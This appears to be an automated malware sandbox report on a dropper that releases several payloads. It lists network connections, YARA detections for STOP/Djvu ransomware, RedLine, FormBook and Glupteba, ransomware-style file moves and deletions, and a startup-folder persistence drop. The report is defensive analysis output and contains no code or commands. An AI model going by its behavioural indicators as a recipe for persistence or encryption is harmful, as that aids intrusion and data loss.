Source: Creal.exe, 00000016.00000003.2117153566.000001B1EE2F1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2110808572.000001B1EE2F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2156817595.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2227033489.000001B1EE2F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wwww.certigna.fr/autorites/0m
Source: Creal.exe, 00000016.00000003.2108279267.000001B1EE2B3000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000016.00000003.2108557341.000001B1EE2EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.63.180:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.52:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.224:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 167.86.119.6:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.241.217.120:443 -> 192.168.2.4:49941 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.195.16:443 -> 192.168.2.4:50010 version: TLS 1.2

Source: C:\Users\user\Desktop\a\wlanext.exe

Code function: 14_2_0040524E GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

14_2_0040524E

E-Banking Fraud

Yara detected FormBook

Source: Yara match

File source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Glupteba

Source: Yara match	File source: 32.3.e0cbefcb1af40c7d4aff4aca26621a98.exe.37c0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.1877742033.0000000003C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Spam, unwanted Advertisements and Ransom Demands

Yara detected Djvu Ransomware

Source: Yara match	File source: 40.2.buildz.exe.26515a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.buildz.exe.26415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.2.buildz.exe.25f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 51.2.buildz.exe.25f15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.buildz.exe.26715a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 46.2.buildz.exe.27415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.buildz.exe.26715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.buildz.exe.26515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 46.2.buildz.exe.27415a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 45.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.buildz.exe.26415a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: buildz.exe PID: 6540, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	File deleted: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3
Source: C:\Users\user\Desktop\a\buildz.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg
Source: C:\Users\user\Desktop\a\buildz.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN.jpg
Source: C:\Users\user\Desktop\a\buildz.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png

Writes many files with high entropy

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\Creal.exe entropy: 7.99617502284	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\voice5.13sert.exe entropy: 7.99398240004	Jump to dropped file
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	File created: C:\Users\user\Desktop\a\Voiceaibeta-5.13.exe entropy: 7.99211084499	Jump to dropped file
Source: C:\Users\user\Desktop\a\wlanext.exe	File created: C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos entropy: 7.99316585149	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\_multiprocessing.pyd entropy: 7.99419046154	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80242\win32\win32api.pyd entropy: 7.99861632812	Jump to dropped file
Source: C:\Users\user\Desktop\a\Creal.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe entropy: 7.99744503045	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json entropy: 7.99506403346	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm entropy: 7.9950161674	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite entropy: 7.99825124078	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm entropy: 7.99448270624	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite entropy: 7.99704939919	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite entropy: 7.99825306977	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm entropy: 7.99371785382	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Google Profile.ico entropy: 7.99865590432	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico entropy: 7.9974244659	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db entropy: 7.99565745922	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99225531173	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99745620237	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe entropy: 7.99879291254	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log entropy: 7.9952675869	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log entropy: 7.99827862957	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log entropy: 7.99879095758	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log entropy: 7.99703260287	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log entropy: 7.99826270173	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log entropy: 7.99551295951	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1051a.log entropy: 7.99816329109	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1152.log entropy: 7.99852969318	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1153.log entropy: 7.99829006723	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1157.log entropy: 7.99842703961	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\msedge_installer.log entropy: 7.99268293146	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99724305779	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml entropy: 7.99352741033	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml entropy: 7.99285357557	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99365079332	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99534989755	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.loqw (copy) entropy: 7.99225531173	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.loqw (copy) entropy: 7.99745620237	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.loqw (copy) entropy: 7.99879291254	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.loqw (copy) entropy: 7.9952675869	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.loqw (copy) entropy: 7.99827862957	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.loqw (copy) entropy: 7.99879095758	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.loqw (copy) entropy: 7.99703260287	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.loqw (copy) entropy: 7.99826270173	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.loqw (copy) entropy: 7.99551295951	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1051a.log.loqw (copy) entropy: 7.99816329109	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1152.log.loqw (copy) entropy: 7.99852969318	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1153.log.loqw (copy) entropy: 7.99829006723	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1157.log.loqw (copy) entropy: 7.99842703961	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\msedge_installer.log.loqw (copy) entropy: 7.99268293146	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.loqw (copy) entropy: 7.99724305779	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\_multiprocessing.pyd.loqw (copy) entropy: 7.99419046154	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Start Menu\Programs\Startup\Creal.exe.loqw (copy) entropy: 7.99744503045	Jump to dropped file
Source: C:\Users\user\Desktop\a\buildz.exe	File created: C:\Users\user\Local Settings\Temp\_MEI80242\win32\win32api.pyd.loqw (copy) entropy: 7.99861632812	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.alex.exe.43c7668.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 12.2.alex.exe.43c7668.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 40.2.buildz.exe.26515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 40.2.buildz.exe.26515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 41.2.buildz.exe.26415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 41.2.buildz.exe.26415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 51.2.buildz.exe.25f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 51.2.buildz.exe.25f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.alex.exe.438ca48.3.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 42.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 42.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 51.2.buildz.exe.25f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 51.2.buildz.exe.25f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 31.2.buildz.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.buildz.exe.26715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 45.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 45.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 48.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 46.2.buildz.exe.27415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 46.2.buildz.exe.27415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 42.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 42.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.2.alex.exe.438ca48.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 31.2.buildz.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 31.2.buildz.exe.26715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 33.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 33.2.buildz.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 48.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 33.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 33.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 40.2.buildz.exe.26515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 40.2.buildz.exe.26515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 46.2.buildz.exe.27415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 46.2.buildz.exe.27415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 45.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 45.2.buildz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 41.2.buildz.exe.26415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 41.2.buildz.exe.26415a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000028.00000002.1925783529.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000002B.00000002.1988294544.000000000096E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000001F.00000002.1879761804.00000000024C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000029.00000002.1997713189.000000000257C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000033.00000002.2092411738.0000000002424000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000030.00000002.4089164036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
